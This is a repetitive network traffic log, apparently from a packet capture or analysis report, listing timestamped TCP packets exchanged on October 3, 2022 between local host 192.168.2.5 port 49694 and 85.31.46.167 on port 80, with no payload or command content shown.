Oct 3, 2022 17:30:00.305990934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306036949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306041956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306082010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306082964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306128025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306128025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306174040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306174994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306220055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306221008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306265116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306266069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306312084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306313992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306355953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306355953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306400061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306401968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306447983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306447983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306493998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306494951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306538105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306539059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306582928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306627035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306637049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306669950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306684971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306716919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306720972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306761980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306762934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306808949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306809902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306905031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.306921005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306967020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.306972980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307013988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307015896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307058096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307060003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307104111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307105064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307149887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307149887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307195902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307203054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307243109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307243109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307290077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307291031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307336092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307336092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307379007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307380915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307425976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307430029 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307472944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307473898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307521105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307523012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307565928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307568073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307615995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307617903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307667017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307668924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307713032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307718992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307760000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307764053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307807922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307815075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307857990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307862997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307924986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.307934999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307982922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.307984114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308031082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308037043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308078051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308083057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308124065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308147907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308168888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308213949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308212996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308213949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308262110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308264017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308315039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308321953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308361053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308366060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308404922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308407068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308453083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308458090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308510065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308511019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308553934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308557034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308604002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308607101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308649063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308650017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308695078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308697939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308739901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308742046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308787107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308788061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308834076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308835030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308881044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308887959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308926105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308926105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.308973074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.308974028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309017897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309019089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309065104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309066057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309109926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309112072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309155941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309159994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309201002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309202909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309251070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309267998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309294939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309295893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309340954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309364080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309386015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309391022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309433937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309457064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309478045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309479952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309526920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309528112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309576035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309576035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309623957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309629917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309669971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309672117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309725046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309731007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309771061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309773922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309818029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309825897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309865952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309869051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309911013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309914112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.309957981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.309967041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310005903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310050011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310050011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310055017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310101986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310103893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310147047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310161114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310192108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310194016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310237885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310262918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310275078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310303926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310349941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310359001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310394049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310405016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.310430050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.310463905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.337758064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.337856054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.337863922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.337919950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.337973118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.337995052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338035107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338074923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338089943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338114977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338149071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338152885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338201046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338205099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338258982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338260889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338308096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338311911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338360071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338365078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338413954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338422060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338473082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338478088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338525057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338531971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338579893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338583946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338637114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338646889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338681936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338692904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338741064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338747025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338794947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338799953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338855028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338855028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338917971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.338937044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.338990927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339000940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339040041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339046001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339095116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339098930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339148045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339154005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339201927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339210033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339258909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339265108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339315891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339319944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339369059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339376926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339426041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339431047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339482069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339487076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339535952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339540958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339595079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339597940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339638948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339662075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339680910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339713097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339761019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339809895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339823008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339854002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339878082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339893103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339931011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339941978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.339982986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.339988947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340037107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340038061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340086937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340091944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340143919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340145111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340193033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340198040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340246916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340250015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340301991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340303898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340352058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340358973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340410948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340411901 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340464115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340466022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340509892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340517044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340567112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340569973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340625048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340626001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340677023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340682030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340732098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340734959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340784073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340789080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340840101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340843916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340895891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340903044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.340954065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.340955973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341005087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341010094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341059923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341061115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341109991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341114998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341166973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341170073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341222048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341227055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341274977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341279984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341335058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341335058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341387033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341398001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341442108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341444016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341497898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341500044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341552019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341552019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341605902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341607094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341660023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341660976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341715097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341715097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341768980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341772079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341825962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341825962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341877937 CEST	49694	80	192.168.2.5	85.31.46.167
